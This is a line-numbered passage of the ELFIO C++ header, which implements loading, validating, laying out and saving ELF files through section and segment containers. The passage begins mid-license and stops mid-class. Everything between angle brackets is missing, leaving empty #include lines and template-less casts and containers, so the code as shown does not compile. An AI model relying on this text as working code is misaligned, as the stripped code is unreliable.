FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_HPP 24 | #define ELFIO_HPP 25 | 26 | #ifdef _MSC_VER 27 | #pragma warning( push ) 28 | #pragma warning( disable : 4996 ) 29 | #pragma warning( disable : 4355 ) 30 | #pragma warning( disable : 4244 ) 31 | #endif 32 | 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | #define ELFIO_HEADER_ACCESS_GET( TYPE, FNAME ) \ 50 | TYPE get_##FNAME() const { return header ? ( header->get_##FNAME() ) : 0; } 51 | 52 | #define ELFIO_HEADER_ACCESS_GET_SET( TYPE, FNAME ) \ 53 | TYPE get_##FNAME() const \ 54 | { \ 55 | return header ? ( header->get_##FNAME() ) : 0; \ 56 | } \ 57 | void set_##FNAME( TYPE val ) \ 58 | { \ 59 | if ( header ) { \ 60 | header->set_##FNAME( val ); \ 61 | } \ 62 | } 63 | 64 | namespace ELFIO { 65 | 66 | //------------------------------------------------------------------------------ 67 | class elfio 68 | { 69 | public: 70 | //------------------------------------------------------------------------------ 71 | elfio() noexcept : sections( this ), segments( this ) 72 | { 73 | header = nullptr; 74 | current_file_pos = 0; 75 | create( ELFCLASS32, ELFDATA2LSB ); 76 | } 77 | 78 | elfio( elfio&& other ) noexcept : sections( this ), segments( this ) 79 | { 80 | header = std::move( other.header ); 81 | sections_ = std::move( other.sections_ ); 82 | segments_ = std::move( other.segments_ ); 83 | convertor = std::move( other.convertor ); 84 | addr_translator = std::move( other.addr_translator ); 85 | current_file_pos = std::move( other.current_file_pos ); 86 | 87 | other.header = nullptr; 88 | other.sections_.clear(); 89 | other.segments_.clear(); 90 | } 91 | 92 | elfio& operator=( elfio&& other ) noexcept 93 | { 94 | if ( this != &other ) { 95 | clean(); 96 | 97 | header = std::move( other.header ); 98 | sections_ = std::move( other.sections_ ); 99 | segments_ = std::move( other.segments_ ); 100 | convertor = std::move( other.convertor ); 101 | addr_translator = std::move( other.addr_translator ); 102 | current_file_pos = std::move( other.current_file_pos ); 103 | 104 | other.header = nullptr; 105 | other.sections_.clear(); 106 | other.segments_.clear(); 107 | } 108 | return *this; 109 | } 110 | 111 | //------------------------------------------------------------------------------ 112 | // clang-format off 113 | elfio( const elfio& ) = delete; 114 | elfio& operator=( const elfio& ) = delete; 115 | // clang-format on 116 | 117 | //------------------------------------------------------------------------------ 118 | ~elfio() { clean(); } 119 | 120 | //------------------------------------------------------------------------------ 121 | void create( unsigned char file_class, unsigned char encoding ) 122 | { 123 | clean(); 124 | convertor.setup( encoding ); 125 | header = create_header( file_class, encoding ); 126 | create_mandatory_sections(); 127 | } 128 | 129 | void set_address_translation( std::vector& addr_trans ) 130 | { 131 | addr_translator.set_address_translation( addr_trans ); 132 | } 133 | 134 | //------------------------------------------------------------------------------ 135 | bool load( const std::string& file_name ) 136 | { 137 | std::ifstream stream; 138 | stream.open( file_name.c_str(), std::ios::in | std::ios::binary ); 139 | if ( !stream ) { 140 | return false; 141 | } 142 | 143 | return load( stream ); 144 | } 145 | 146 | //------------------------------------------------------------------------------ 147 | bool load( std::istream& stream ) 148 | { 149 | clean(); 150 | 151 | unsigned char e_ident[EI_NIDENT]; 152 | // Read ELF file signature 153 | stream.seekg( addr_translator[0] ); 154 | stream.read( reinterpret_cast( &e_ident ), sizeof( e_ident ) ); 155 | 156 | // Is it ELF file? 157 | if ( stream.gcount() != sizeof( e_ident ) || 158 | e_ident[EI_MAG0] != ELFMAG0 || e_ident[EI_MAG1] != ELFMAG1 || 159 | e_ident[EI_MAG2] != ELFMAG2 || e_ident[EI_MAG3] != ELFMAG3 ) { 160 | return false; 161 | } 162 | 163 | if ( ( e_ident[EI_CLASS] != ELFCLASS64 ) && 164 | ( e_ident[EI_CLASS] != ELFCLASS32 ) ) { 165 | return false; 166 | } 167 | 168 | if ( ( e_ident[EI_DATA] != ELFDATA2LSB ) && 169 | ( e_ident[EI_DATA] != ELFDATA2MSB ) ) { 170 | return false; 171 | } 172 | 173 | convertor.setup( e_ident[EI_DATA] ); 174 | header = create_header( e_ident[EI_CLASS], e_ident[EI_DATA] ); 175 | if ( nullptr == header ) { 176 | return false; 177 | } 178 | if ( !header->load( stream ) ) { 179 | return false; 180 | } 181 | 182 | load_sections( stream ); 183 | bool is_still_good = load_segments( stream ); 184 | return is_still_good; 185 | } 186 | 187 | //------------------------------------------------------------------------------ 188 | bool save( const std::string& file_name ) 189 | { 190 | std::ofstream stream; 191 | stream.open( file_name.c_str(), std::ios::out | std::ios::binary ); 192 | if ( !stream ) { 193 | return false; 194 | } 195 | 196 | return save( stream ); 197 | } 198 | 199 | //------------------------------------------------------------------------------ 200 | bool save( std::ostream& stream ) 201 | { 202 | if ( !stream || header == nullptr ) { 203 | return false; 204 | } 205 | 206 | // Define layout specific header fields 207 | // The position of the segment table is fixed after the header. 208 | // The position of the section table is variable and needs to be fixed 209 | // before saving. 210 | header->set_segments_num( segments.size() ); 211 | header->set_segments_offset( 212 | segments.size() > 0 ? header->get_header_size() : 0 ); 213 | header->set_sections_num( sections.size() ); 214 | header->set_sections_offset( 0 ); 215 | 216 | // Layout the first section right after the segment table 217 | current_file_pos = 218 | header->get_header_size() + 219 | header->get_segment_entry_size() * 220 | static_cast( header->get_segments_num() ); 221 | 222 | calc_segment_alignment(); 223 | 224 | bool is_still_good = layout_segments_and_their_sections(); 225 | is_still_good = is_still_good && layout_sections_without_segments(); 226 | is_still_good = is_still_good && layout_section_table(); 227 | 228 | is_still_good = is_still_good && save_header( stream ); 229 | is_still_good = is_still_good && save_sections( stream ); 230 | is_still_good = is_still_good && save_segments( stream ); 231 | 232 | return is_still_good; 233 | } 234 | 235 | //------------------------------------------------------------------------------ 236 | // ELF header access functions 237 | ELFIO_HEADER_ACCESS_GET( unsigned char, class ); 238 | ELFIO_HEADER_ACCESS_GET( unsigned char, elf_version ); 239 | ELFIO_HEADER_ACCESS_GET( unsigned char, encoding ); 240 | ELFIO_HEADER_ACCESS_GET( Elf_Word, version ); 241 | ELFIO_HEADER_ACCESS_GET( Elf_Half, header_size ); 242 | ELFIO_HEADER_ACCESS_GET( Elf_Half, section_entry_size ); 243 | ELFIO_HEADER_ACCESS_GET( Elf_Half, segment_entry_size ); 244 | 245 | ELFIO_HEADER_ACCESS_GET_SET( unsigned char, os_abi ); 246 | ELFIO_HEADER_ACCESS_GET_SET( unsigned char, abi_version ); 247 | ELFIO_HEADER_ACCESS_GET_SET( Elf_Half, type ); 248 | ELFIO_HEADER_ACCESS_GET_SET( Elf_Half, machine ); 249 | ELFIO_HEADER_ACCESS_GET_SET( Elf_Word, flags ); 250 | ELFIO_HEADER_ACCESS_GET_SET( Elf64_Addr, entry ); 251 | ELFIO_HEADER_ACCESS_GET_SET( Elf64_Off, sections_offset ); 252 | ELFIO_HEADER_ACCESS_GET_SET( Elf64_Off, segments_offset ); 253 | ELFIO_HEADER_ACCESS_GET_SET( Elf_Half, section_name_str_index ); 254 | 255 | //------------------------------------------------------------------------------ 256 | const endianess_convertor& get_convertor() const { return convertor; } 257 | 258 | //------------------------------------------------------------------------------ 259 | Elf_Xword get_default_entry_size( Elf_Word section_type ) const 260 | { 261 | switch ( section_type ) { 262 | case SHT_RELA: 263 | if ( header->get_class() == ELFCLASS64 ) { 264 | return sizeof( Elf64_Rela ); 265 | } 266 | else { 267 | return sizeof( Elf32_Rela ); 268 | } 269 | case SHT_REL: 270 | if ( header->get_class() == ELFCLASS64 ) { 271 | return sizeof( Elf64_Rel ); 272 | } 273 | else { 274 | return sizeof( Elf32_Rel ); 275 | } 276 | case SHT_SYMTAB: 277 | if ( header->get_class() == ELFCLASS64 ) { 278 | return sizeof( Elf64_Sym ); 279 | } 280 | else { 281 | return sizeof( Elf32_Sym ); 282 | } 283 | case SHT_DYNAMIC: 284 | if ( header->get_class() == ELFCLASS64 ) { 285 | return sizeof( Elf64_Dyn ); 286 | } 287 | else { 288 | return sizeof( Elf32_Dyn ); 289 | } 290 | default: 291 | return 0; 292 | } 293 | } 294 | 295 | //------------------------------------------------------------------------------ 296 | //! returns an empty string if no problems are detected, 297 | //! or a string containing an error message if problems are found, 298 | //! with one error per line. 299 | std::string validate() const 300 | { 301 | // clang-format off 302 | 303 | std::string errors; 304 | // Check for overlapping sections in the file 305 | // This is explicitly forbidden by ELF specification 306 | for ( int i = 0; i < sections.size(); ++i) { 307 | for ( int j = i+1; j < sections.size(); ++j ) { 308 | const section* a = sections[i]; 309 | const section* b = sections[j]; 310 | if ( ((a->get_type() & SHT_NOBITS) == 0) 311 | && ((b->get_type() & SHT_NOBITS) == 0) 312 | && (a->get_size() > 0) 313 | && (b->get_size() > 0) 314 | && (a->get_offset() > 0) 315 | && (b->get_offset() > 0)) { 316 | if ( is_offset_in_section( a->get_offset(), b ) 317 | || is_offset_in_section( a->get_offset()+a->get_size()-1, b ) 318 | || is_offset_in_section( b->get_offset(), a ) 319 | || is_offset_in_section( b->get_offset()+b->get_size()-1, a )) { 320 | errors += "Sections " + a->get_name() + " and " + b->get_name() + " overlap in file\n"; 321 | } 322 | } 323 | } 324 | } 325 | 326 | // Check for conflicting section / program header tables, where 327 | // the same offset has different vaddresses in section table and 328 | // program header table. 329 | // This doesn't seem to be explicitly forbidden by ELF specification, 330 | // but: 331 | // - it doesn't make any sense 332 | // - ELFIO relies on this being consistent when writing ELF files, 333 | // since offsets are re-calculated from vaddress 334 | for ( int h = 0; h < segments.size(); ++h ) { 335 | const segment* seg = segments[h]; 336 | if ( seg->get_type() == PT_LOAD && seg->get_file_size() > 0 ) { 337 | const section* sec = find_prog_section_for_offset( seg->get_offset() ); 338 | if ( sec != nullptr ) { 339 | Elf64_Addr sec_addr = get_virtual_addr( seg->get_offset(), sec ); 340 | if ( sec_addr != seg->get_virtual_address() ) { 341 | errors += "Virtual address of segment " + std::to_string( h ) + " (" + to_hex_string( seg->get_virtual_address() ) + ")" 342 | + " conflicts with address of section " + sec->get_name() + " (" + to_hex_string( sec_addr ) + ")" 343 | + " at offset " + to_hex_string( seg->get_offset() ) + "\n"; 344 | } 345 | } 346 | } 347 | } 348 | 349 | // more checks to be added here... 350 | 351 | return errors; 352 | // clang-format on 353 | } 354 | 355 | private: 356 | //------------------------------------------------------------------------------ 357 | static bool is_offset_in_section( Elf64_Off offset, const section* sec ) 358 | { 359 | return ( offset >= sec->get_offset() ) && 360 | ( offset < ( sec->get_offset() + sec->get_size() ) ); 361 | } 362 | 363 | //------------------------------------------------------------------------------ 364 | static Elf64_Addr get_virtual_addr( Elf64_Off offset, const section* sec ) 365 | { 366 | return sec->get_address() + offset - sec->get_offset(); 367 | } 368 | 369 | //------------------------------------------------------------------------------ 370 | const section* find_prog_section_for_offset( Elf64_Off offset ) const 371 | { 372 | for ( auto* sec : sections ) { 373 | if ( sec->get_type() == SHT_PROGBITS && 374 | is_offset_in_section( offset, sec ) ) { 375 | return sec; 376 | } 377 | } 378 | return nullptr; 379 | } 380 | 381 | //------------------------------------------------------------------------------ 382 | void clean() 383 | { 384 | delete header; 385 | header = nullptr; 386 | 387 | for ( auto* it : sections_ ) { 388 | delete it; 389 | } 390 | sections_.clear(); 391 | 392 | for ( auto* it : segments_ ) { 393 | delete it; 394 | } 395 | segments_.clear(); 396 | } 397 | 398 | //------------------------------------------------------------------------------ 399 | elf_header* create_header( unsigned char file_class, 400 | unsigned char encoding ) 401 | { 402 | elf_header* new_header = nullptr; 403 | 404 | if ( file_class == ELFCLASS64 ) { 405 | new_header = new elf_header_impl( &convertor, encoding, 406 | &addr_translator ); 407 | } 408 | else if ( file_class == ELFCLASS32 ) { 409 | new_header = new elf_header_impl( &convertor, encoding, 410 | &addr_translator ); 411 | } 412 | else { 413 | return nullptr; 414 | } 415 | 416 | return new_header; 417 | } 418 | 419 | //------------------------------------------------------------------------------ 420 | section* create_section() 421 | { 422 | section* new_section = nullptr; 423 | unsigned char file_class = get_class(); 424 | 425 | if ( file_class == ELFCLASS64 ) { 426 | new_section = 427 | new section_impl( &convertor, &addr_translator ); 428 | } 429 | else if ( file_class == ELFCLASS32 ) { 430 | new_section = 431 | new section_impl( &convertor, &addr_translator ); 432 | } 433 | else { 434 | return nullptr; 435 | } 436 | 437 | new_section->set_index( static_cast( sections_.size() ) ); 438 | sections_.emplace_back( new_section ); 439 | 440 | return new_section; 441 | } 442 | 443 | //------------------------------------------------------------------------------ 444 | segment* create_segment() 445 | { 446 | segment* new_segment = nullptr; 447 | unsigned char file_class = header->get_class(); 448 | 449 | if ( file_class == ELFCLASS64 ) { 450 | new_segment = 451 | new segment_impl( &convertor, &addr_translator ); 452 | } 453 | else if ( file_class == ELFCLASS32 ) { 454 | new_segment = 455 | new segment_impl( &convertor, &addr_translator ); 456 | } 457 | else { 458 | return nullptr; 459 | } 460 | 461 | new_segment->set_index( static_cast( segments_.size() ) ); 462 | segments_.emplace_back( new_segment ); 463 | 464 | return new_segment; 465 | } 466 | 467 | //------------------------------------------------------------------------------ 468 | void create_mandatory_sections() 469 | { 470 | // Create null section without calling to 'add_section' as no string 471 | // section containing section names exists yet 472 | section* sec0 = create_section(); 473 | sec0->set_index( 0 ); 474 | sec0->set_name( "" ); 475 | sec0->set_name_string_offset( 0 ); 476 | 477 | set_section_name_str_index( 1 ); 478 | section* shstrtab = sections.add( ".shstrtab" ); 479 | shstrtab->set_type( SHT_STRTAB ); 480 | shstrtab->set_addr_align( 1 ); 481 | } 482 | 483 | //------------------------------------------------------------------------------ 484 | Elf_Half load_sections( std::istream& stream ) 485 | { 486 | Elf_Half entry_size = header->get_section_entry_size(); 487 | Elf_Half num = header->get_sections_num(); 488 | Elf64_Off offset = header->get_sections_offset(); 489 | 490 | for ( Elf_Half i = 0; i < num; ++i ) { 491 | section* sec = create_section(); 492 | sec->load( stream, 493 | static_cast( offset ) + 494 | static_cast( i ) * entry_size ); 495 | sec->set_index( i ); 496 | // To mark that the section is not permitted to reassign address 497 | // during layout calculation 498 | sec->set_address( sec->get_address() ); 499 | } 500 | 501 | Elf_Half shstrndx = get_section_name_str_index(); 502 | 503 | if ( SHN_UNDEF != shstrndx ) { 504 | string_section_accessor str_reader( sections[shstrndx] ); 505 | for ( Elf_Half i = 0; i < num; ++i ) { 506 | Elf_Word section_offset = sections[i]->get_name_string_offset(); 507 | const char* p = str_reader.get_string( section_offset ); 508 | if ( p != nullptr ) { 509 | sections[i]->set_name( p ); 510 | } 511 | } 512 | } 513 | 514 | return num; 515 | } 516 | 517 | //------------------------------------------------------------------------------ 518 | //! Checks whether the addresses of the section entirely fall within the given segment. 519 | //! It doesn't matter if the addresses are memory addresses, or file offsets, 520 | //! they just need to be in the same address space 521 | static bool is_sect_in_seg( Elf64_Off sect_begin, 522 | Elf_Xword sect_size, 523 | Elf64_Off seg_begin, 524 | Elf64_Off seg_end ) 525 | { 526 | return ( seg_begin <= sect_begin ) && 527 | ( sect_begin + sect_size <= seg_end ) && 528 | ( sect_begin < 529 | seg_end ); // this is important criteria when sect_size == 0 530 | // Example: seg_begin=10, seg_end=12 (-> covering the bytes 10 and 11) 531 | // sect_begin=12, sect_size=0 -> shall return false! 532 | } 533 | 534 | //------------------------------------------------------------------------------ 535 | bool load_segments( std::istream& stream ) 536 | { 537 | Elf_Half entry_size = header->get_segment_entry_size(); 538 | Elf_Half num = header->get_segments_num(); 539 | Elf64_Off offset = header->get_segments_offset(); 540 | 541 | for ( Elf_Half i = 0; i < num; ++i ) { 542 | segment* seg = nullptr; 543 | unsigned char file_class = header->get_class(); 544 | 545 | if ( file_class == ELFCLASS64 ) { 546 | seg = new segment_impl( &convertor, 547 | &addr_translator ); 548 | } 549 | else if ( file_class == ELFCLASS32 ) { 550 | seg = new segment_impl( &convertor, 551 | &addr_translator ); 552 | } 553 | else { 554 | return false; 555 | } 556 | 557 | seg->load( stream, 558 | static_cast( offset ) + 559 | static_cast( i ) * entry_size ); 560 | seg->set_index( i ); 561 | 562 | // Add sections to the segments (similar to readelfs algorithm) 563 | Elf64_Off segBaseOffset = seg->get_offset(); 564 | Elf64_Off segEndOffset = segBaseOffset + seg->get_file_size(); 565 | Elf64_Off segVBaseAddr = seg->get_virtual_address(); 566 | Elf64_Off segVEndAddr = segVBaseAddr + seg->get_memory_size(); 567 | for ( auto* psec : sections ) { 568 | // SHF_ALLOC sections are matched based on the virtual address 569 | // otherwise the file offset is matched 570 | if ( ( ( psec->get_flags() & SHF_ALLOC ) == SHF_ALLOC ) 571 | ? is_sect_in_seg( psec->get_address(), 572 | psec->get_size(), segVBaseAddr, 573 | segVEndAddr ) 574 | : is_sect_in_seg( psec->get_offset(), psec->get_size(), 575 | segBaseOffset, segEndOffset ) ) { 576 | // Alignment of segment shall not be updated, to preserve original value 577 | // It will be re-calculated on saving. 578 | seg->add_section_index( psec->get_index(), 0 ); 579 | } 580 | } 581 | 582 | // Add section into the segments' container 583 | segments_.emplace_back( seg ); 584 | } 585 | 586 | return true; 587 | } 588 | 589 | //------------------------------------------------------------------------------ 590 | bool save_header( std::ostream& stream ) { return header->save( stream ); } 591 | 592 | //------------------------------------------------------------------------------ 593 | bool save_sections( std::ostream& stream ) 594 | { 595 | for ( auto* sec : sections_ ) { 596 | std::streampos headerPosition = 597 | static_cast( header->get_sections_offset() ) + 598 | static_cast( 599 | header->get_section_entry_size() ) * 600 | sec->get_index(); 601 | 602 | sec->save( stream, headerPosition, sec->get_offset() ); 603 | } 604 | return true; 605 | } 606 | 607 | //------------------------------------------------------------------------------ 608 | bool save_segments( std::ostream& stream ) 609 | { 610 | for ( auto* seg : segments_ ) { 611 | std::streampos headerPosition = 612 | static_cast( header->get_segments_offset() ) + 613 | static_cast( 614 | header->get_segment_entry_size() ) * 615 | seg->get_index(); 616 | 617 | seg->save( stream, headerPosition, seg->get_offset() ); 618 | } 619 | return true; 620 | } 621 | 622 | //------------------------------------------------------------------------------ 623 | bool is_section_without_segment( unsigned int section_index ) const 624 | { 625 | bool found = false; 626 | 627 | for ( unsigned int j = 0; !found && ( j < segments.size() ); ++j ) { 628 | for ( unsigned int k = 0; 629 | !found && ( k < segments[j]->get_sections_num() ); ++k ) { 630 | found = segments[j]->get_section_index_at( k ) == section_index; 631 | } 632 | } 633 | 634 | return !found; 635 | } 636 | 637 | //------------------------------------------------------------------------------ 638 | static bool is_subsequence_of( segment* seg1, segment* seg2 ) 639 | { 640 | // Return 'true' if sections of seg1 are a subset of sections in seg2 641 | const std::vector& sections1 = seg1->get_sections(); 642 | const std::vector& sections2 = seg2->get_sections(); 643 | 644 | bool found = false; 645 | if ( sections1.size() < sections2.size() ) { 646 | found = std::includes( sections2.begin(), sections2.end(), 647 | sections1.begin(), sections1.end() ); 648 | } 649 | 650 | return found; 651 | } 652 | 653 | //------------------------------------------------------------------------------ 654 | std::vector get_ordered_segments() 655 | { 656 | std::vector res; 657 | std::deque worklist; 658 | 659 | res.reserve( segments.size() ); 660 | std::copy( segments_.begin(), segments_.end(), 661 | std::back_inserter( worklist ) ); 662 | 663 | // Bring the segments which start at address 0 to the front 664 | size_t nextSlot = 0; 665 | for ( size_t i = 0; i < worklist.size(); ++i ) { 666 | if ( i != nextSlot && worklist[i]->is_offset_initialized() && 667 | worklist[i]->get_offset() == 0 ) { 668 | if ( worklist[nextSlot]->get_offset() == 0 ) { 669 | ++nextSlot; 670 | } 671 | std::swap( worklist[i], worklist[nextSlot] ); 672 | ++nextSlot; 673 | } 674 | } 675 | 676 | while ( !worklist.empty() ) { 677 | segment* seg = worklist.front(); 678 | worklist.pop_front(); 679 | 680 | size_t i = 0; 681 | for ( ; i < worklist.size(); ++i ) { 682 | if ( is_subsequence_of( seg, worklist[i] ) ) { 683 | break; 684 | } 685 | } 686 | 687 | if ( i < worklist.size() ) { 688 | worklist.emplace_back( seg ); 689 | } 690 | else { 691 | res.emplace_back( seg ); 692 | } 693 | } 694 | 695 | return res; 696 | } 697 | 698 | //------------------------------------------------------------------------------ 699 | bool layout_sections_without_segments() 700 | { 701 | for ( unsigned int i = 0; i < sections_.size(); ++i ) { 702 | if ( is_section_without_segment( i ) ) { 703 | section* sec = sections_[i]; 704 | 705 | Elf_Xword section_align = sec->get_addr_align(); 706 | if ( section_align > 1 && 707 | current_file_pos % section_align != 0 ) { 708 | current_file_pos += 709 | section_align - current_file_pos % section_align; 710 | } 711 | 712 | if ( 0 != sec->get_index() ) { 713 | sec->set_offset( current_file_pos ); 714 | } 715 | 716 | if ( SHT_NOBITS != sec->get_type() && 717 | SHT_NULL != sec->get_type() ) { 718 | current_file_pos += sec->get_size(); 719 | } 720 | } 721 | } 722 | 723 | return true; 724 | } 725 | 726 | //------------------------------------------------------------------------------ 727 | void calc_segment_alignment() 728 | { 729 | for ( auto* seg : segments_ ) { 730 | for ( int i = 0; i < seg->get_sections_num(); ++i ) { 731 | section* sect = sections_[seg->get_section_index_at( i )]; 732 | if ( sect->get_addr_align() > seg->get_align() ) { 733 | seg->set_align( sect->get_addr_align() ); 734 | } 735 | } 736 | } 737 | } 738 | 739 | //------------------------------------------------------------------------------ 740 | bool layout_segments_and_their_sections() 741 | { 742 | std::vector worklist; 743 | std::vector section_generated( sections.size(), false ); 744 | 745 | // Get segments in a order in where segments which contain a 746 | // sub sequence of other segments are located at the end 747 | worklist = get_ordered_segments(); 748 | 749 | for ( auto* seg : worklist ) { 750 | Elf_Xword segment_memory = 0; 751 | Elf_Xword segment_filesize = 0; 752 | Elf_Xword seg_start_pos = current_file_pos; 753 | // Special case: PHDR segment 754 | // This segment contains the program headers but no sections 755 | if ( seg->get_type() == PT_PHDR && seg->get_sections_num() == 0 ) { 756 | seg_start_pos = header->get_segments_offset(); 757 | segment_memory = segment_filesize = 758 | header->get_segment_entry_size() * 759 | static_cast( header->get_segments_num() ); 760 | } 761 | // Special case: 762 | else if ( seg->is_offset_initialized() && seg->get_offset() == 0 ) { 763 | seg_start_pos = 0; 764 | if ( seg->get_sections_num() > 0 ) { 765 | segment_memory = segment_filesize = current_file_pos; 766 | } 767 | } 768 | // New segments with not generated sections 769 | // have to be aligned 770 | else if ( seg->get_sections_num() > 0 && 771 | !section_generated[seg->get_section_index_at( 0 )] ) { 772 | Elf_Xword align = seg->get_align() > 0 ? seg->get_align() : 1; 773 | Elf64_Off cur_page_alignment = current_file_pos % align; 774 | Elf64_Off req_page_alignment = 775 | seg->get_virtual_address() % align; 776 | Elf64_Off error = req_page_alignment - cur_page_alignment; 777 | 778 | current_file_pos += ( seg->get_align() + error ) % align; 779 | seg_start_pos = current_file_pos; 780 | } 781 | else if ( seg->get_sections_num() > 0 ) { 782 | seg_start_pos = 783 | sections[seg->get_section_index_at( 0 )]->get_offset(); 784 | } 785 | 786 | // Write segment's data 787 | for ( auto j = 0; j < seg->get_sections_num(); ++j ) { 788 | Elf_Half index = seg->get_section_index_at( j ); 789 | 790 | section* sec = sections[index]; 791 | 792 | // The NULL section is always generated 793 | if ( SHT_NULL == sec->get_type() ) { 794 | section_generated[index] = true; 795 | continue; 796 | } 797 | 798 | Elf_Xword section_align = 0; 799 | // Fix up the alignment 800 | if ( !section_generated[index] && 801 | sec->is_address_initialized() && 802 | SHT_NOBITS != sec->get_type() && 803 | SHT_NULL != sec->get_type() && 0 != sec->get_size() ) { 804 | // Align the sections based on the virtual addresses 805 | // when possible (this is what matters for execution) 806 | Elf64_Off req_offset = 807 | sec->get_address() - seg->get_virtual_address(); 808 | Elf64_Off cur_offset = current_file_pos - seg_start_pos; 809 | if ( req_offset < cur_offset ) { 810 | // something has gone awfully wrong, abort! 811 | // section_align would turn out negative, seeking backwards and overwriting previous data 812 | return false; 813 | } 814 | section_align = req_offset - cur_offset; 815 | } 816 | else if ( !section_generated[index] && 817 | !sec->is_address_initialized() ) { 818 | // If no address has been specified then only the section 819 | // alignment constraint has to be matched 820 | Elf_Xword align = sec->get_addr_align(); 821 | if ( align == 0 ) { 822 | align = 1; 823 | } 824 | Elf64_Off error = current_file_pos % align; 825 | section_align = ( align - error ) % align; 826 | } 827 | else if ( section_generated[index] ) { 828 | // Alignment for already generated sections 829 | section_align = 830 | sec->get_offset() - seg_start_pos - segment_filesize; 831 | } 832 | 833 | // Determine the segment file and memory sizes 834 | // Special case .tbss section (NOBITS) in non TLS segment 835 | if ( ( ( sec->get_flags() & SHF_ALLOC ) == SHF_ALLOC ) && 836 | !( ( ( sec->get_flags() & SHF_TLS ) == SHF_TLS ) && 837 | ( seg->get_type() != PT_TLS ) && 838 | ( SHT_NOBITS == sec->get_type() ) ) ) { 839 | segment_memory += sec->get_size() + section_align; 840 | } 841 | 842 | if ( SHT_NOBITS != sec->get_type() ) { 843 | segment_filesize += sec->get_size() + section_align; 844 | } 845 | 846 | // Nothing to be done when generating nested segments 847 | if ( section_generated[index] ) { 848 | continue; 849 | } 850 | 851 | current_file_pos += section_align; 852 | 853 | // Set the section addresses when missing 854 | if ( !sec->is_address_initialized() ) { 855 | sec->set_address( seg->get_virtual_address() + 856 | current_file_pos - seg_start_pos ); 857 | } 858 | 859 | if ( 0 != sec->get_index() ) { 860 | sec->set_offset( current_file_pos ); 861 | } 862 | 863 | if ( SHT_NOBITS != sec->get_type() ) { 864 | current_file_pos += sec->get_size(); 865 | } 866 | 867 | section_generated[index] = true; 868 | } 869 | 870 | seg->set_file_size( segment_filesize ); 871 | 872 | // If we already have a memory size from loading an elf file (value > 0), 873 | // it must not shrink! 874 | // Memory size may be bigger than file size and it is the loader's job to do something 875 | // with the surplus bytes in memory, like initializing them with a defined value. 876 | if ( seg->get_memory_size() < segment_memory ) { 877 | seg->set_memory_size( segment_memory ); 878 | } 879 | 880 | seg->set_offset( seg_start_pos ); 881 | } 882 | 883 | return true; 884 | } 885 | 886 | //------------------------------------------------------------------------------ 887 | bool layout_section_table() 888 | { 889 | // Simply place the section table at the end for now 890 | Elf64_Off alignmentError = current_file_pos % 4; 891 | current_file_pos += ( 4 - alignmentError ) % 4; 892 | header->set_sections_offset( current_file_pos ); 893 | return true; 894 | } 895 | 896 | //------------------------------------------------------------------------------ 897 | public: 898 | friend class Sections; 899 | class Sections 900 | { 901 | public: 902 | //------------------------------------------------------------------------------ 903 | explicit Sections( elfio* parent ) : parent( parent ) {} 904 | 905 | //------------------------------------------------------------------------------ 906 | Elf_Half size() const 907 | { 908 | return static_cast( parent->sections_.size() ); 909 | } 910 | 911 | //------------------------------------------------------------------------------ 912 | section* operator[]( unsigned int index ) const 913 | { 914 | section* sec = nullptr; 915 | 916 | if ( index < parent->sections_.size() ) { 917 | sec = parent->sections_[index]; 918 | } 919 | 920 | return sec; 921 | } 922 | 923 | //------------------------------------------------------------------------------ 924 | section* operator[]( const std::string& name ) const 925 | { 926 | section* sec = nullptr; 927 | 928 | for ( auto* it : parent->sections_ ) { 929 | if ( it->get_name() == name ) { 930 | sec = it; 931 | break; 932 | } 933 | } 934 | 935 | return sec; 936 | } 937 | 938 | //------------------------------------------------------------------------------ 939 | section* add( const std::string& name ) 940 | { 941 | section* new_section = parent->create_section(); 942 | new_section->set_name( name ); 943 | 944 | Elf_Half str_index = parent->get_section_name_str_index(); 945 | section* string_table( parent->sections_[str_index] ); 946 | string_section_accessor str_writer( string_table ); 947 | Elf_Word pos = str_writer.add_string( name ); 948 | new_section->set_name_string_offset( pos ); 949 | 950 | return new_section; 951 | } 952 | 953 | //------------------------------------------------------------------------------ 954 | std::vector::iterator begin() 955 | { 956 | return parent->sections_.begin(); 957 | } 958 | 959 | //------------------------------------------------------------------------------ 960 | std::vector::iterator end() 961 | { 962 | return parent->sections_.end(); 963 | } 964 | 965 | //------------------------------------------------------------------------------ 966 | std::vector::const_iterator begin() const 967 | { 968 | return parent->sections_.cbegin(); 969 | } 970 | 971 | //------------------------------------------------------------------------------ 972 | std::vector::const_iterator end() const 973 | { 974 | return parent->sections_.cend(); 975 | } 976 | 977 | //------------------------------------------------------------------------------ 978 | private: 979 | elfio* parent; 980 | } sections; 981 | 982 | //------------------------------------------------------------------------------ 983 | friend class Segments; 984 | class Segments 985 | { 986 | public: 987 | //------------------------------------------------------------------------------ 988 | explicit Segments( elfio* parent ) : parent( parent ) {} 989 | 990 | //------------------------------------------------------------------------------ 991 | Elf_Half size() const 992 | { 993 | return static_cast( parent->segments_.size() ); 994 | } 995 | 996 | //------------------------------------------------------------------------------ 997 | segment* operator[]( unsigned int index ) const 998 | { 999 | return parent->segments_[index]; 1000 | } 1001 | 1002 | //------------------------------------------------------------------------------ 1003 | segment* add() { return parent->create_segment(); } 1004 | 1005 | //------------------------------------------------------------------------------ 1006 | std::vector::iterator begin() 1007 | { 1008 | return parent->segments_.begin(); 1009 | } 1010 | 1011 | //------------------------------------------------------------------------------ 1012 | std::vector::iterator end() 1013 | { 1014 | return parent->segments_.end(); 1015 | } 1016 | 1017 | //------------------------------------------------------------------------------ 1018 | std::vector::const_iterator begin() const 1019 | { 1020 | return parent->segments_.cbegin(); 1021 | } 1022 | 1023 | //------------------------------------------------------------------------------ 1024 | std::vector::const_iterator end() const 1025 | { 1026 | return parent->segments_.cend(); 1027 | } 1028 | 1029 | //------------------------------------------------------------------------------ 1030 | private: 1031 | elfio* parent; 1032 | } segments; 1033 | 1034 | //------------------------------------------------------------------------------ 1035 | private: 1036 | elf_header* header; 1037 | std::vector sections_; 